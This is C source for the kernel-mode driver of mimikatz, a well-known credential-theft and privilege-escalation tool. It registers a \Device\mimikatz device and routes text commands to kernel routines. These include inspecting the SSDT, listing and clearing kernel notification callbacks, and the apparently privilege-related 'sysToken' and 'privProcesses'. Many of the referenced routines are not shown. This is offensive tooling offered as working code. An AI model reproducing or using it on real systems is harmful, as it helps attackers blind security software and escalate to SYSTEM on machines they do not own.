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#include "mimikatz.h"
ptrLocalFunction maFunc = NULL;
NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
return STATUS_NOT_SUPPORTED;
}
NTSTATUS Write(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
NTSTATUS status = STATUS_INVALID_PARAMETER;
PIO_STACK_LOCATION pIoStackIrp = NULL;
PWSTR params;
size_t tailleParams;
pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp)
{
status = getLocalFuncFromName((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Write.Length, ¶ms, &tailleParams, &maFunc);
if(NT_SUCCESS(status))
{
Irp->IoStatus.Information = pIoStackIrp->Parameters.Write.Length;
}
}
IoCompleteRequest(Irp, IO_NO_INCREMENT);
Irp->IoStatus.Status = status;
return status;
}
NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
NTSTATUS status = STATUS_INVALID_HANDLE;
PIO_STACK_LOCATION pIoStackIrp = NULL;
LPWSTR pszDestEnd;
size_t pcbRemaining;
pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp)
{
if(maFunc)
{
status = maFunc((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Read.Length, &pszDestEnd, &pcbRemaining);
if(NT_SUCCESS(status))
{
Irp->IoStatus.Information = pIoStackIrp->Parameters.Read.Length - pcbRemaining;
}
}
else
{
status = STATUS_PROCEDURE_NOT_FOUND;
}
}
IoCompleteRequest(Irp, IO_NO_INCREMENT);
Irp->IoStatus.Status = status;
return status;
}
void DriverUnload(IN PDRIVER_OBJECT theDriverObject)
{
UNICODE_STRING UStrDosDeviceName;
RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz");
IoDeleteSymbolicLink(&UStrDosDeviceName);
IoDeleteDevice(theDriverObject->DeviceObject);
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath)
{
NTSTATUS status;
UNICODE_STRING UStrDriverName, UStrDosDeviceName;
PDEVICE_OBJECT pDeviceObject = NULL;
ULONG i;
moi = theDriverObject;
RtlInitUnicodeString(&UStrDriverName, L"\\Device\\mimikatz");
status = IoCreateDevice(theDriverObject, 0, &UStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject);
if(NT_SUCCESS(status))
{
INDEX_OS = getWindowsIndex();
for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
theDriverObject->MajorFunction[i] = UnSupported;
theDriverObject->MajorFunction[IRP_MJ_READ] = Read;
theDriverObject->MajorFunction[IRP_MJ_WRITE] = Write;
theDriverObject->DriverUnload = DriverUnload;
pDeviceObject->Flags |= DO_BUFFERED_IO;
pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz");
IoCreateSymbolicLink(&UStrDosDeviceName, &UStrDriverName);
}
return status;
}
ULONG getWindowsIndex()
{
switch(*NtBuildNumber)
{
case 2600:
return INDEX_XP;
break;
case 3790:
return INDEX_2K3;
break;
case 6000:
case 6001:
return INDEX_VISTA;
case 6002:
return INDEX_2K8;
break;
case 7600:
case 7601:
return INDEX_7;
break;
case 8102:
case 8250:
case 9200:
return INDEX_8;
break;
default:
return 0;
}
}
NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc)
{
NTSTATUS status;
size_t tailleChaine;
ULONG i;
ULONG taillFunc;
status = RtlStringCbLengthW(buffer, taille, &tailleChaine);
if(NT_SUCCESS(status))
{
for(i = 0; (i < tailleChaine / sizeof(WCHAR)) && (buffer[i] != L' '); i++);
if( (i+1) < (tailleChaine / sizeof(WCHAR)))
{
*params = buffer + (i+1);
*tailleParams = (tailleChaine / sizeof(WCHAR)) - (i+1); // avoir !!!
DbgPrint("%u", *tailleParams);
}
else
{
*params = NULL;
*tailleParams = 0;
}
*destFunc = NULL;
taillFunc = i*sizeof(WCHAR);
KIWI_NameToFunc(L"ping", kPing);
if(INDEX_OS)
{
KIWI_NameToFunc(L"ssdt", kSSDT);
KIWI_NameToFunc(L"listModules", kModulesList);
KIWI_NameToFunc(L"listFilters", kFiltersList);
KIWI_NameToFunc(L"listMinifilters", kMiniFiltersList);
KIWI_NameToFunc(L"listNotifProcesses", kListNotifyProcesses);
KIWI_NameToFunc(L"listNotifThreads", kListNotifyThreads);
KIWI_NameToFunc(L"listNotifImages", kListNotifyImages);
KIWI_NameToFunc(L"listNotifRegistry", kListNotifyRegistry);
KIWI_NameToFunc(L"listNotifObjects", kListNotifyObjects);
KIWI_NameToFunc(L"clearNotifObjects", kClearNotifyObjects);
KIWI_NameToFunc(L"listProcesses", listProcesses);
KIWI_NameToFunc(L"sysToken", sysToken);
KIWI_NameToFunc(L"privProcesses", privProcesses);
}
}
return status;
}
NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
return RtlStringCbPrintfExW(pszDest, cbDest, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"Pong (from ring 0 :)\n");
}
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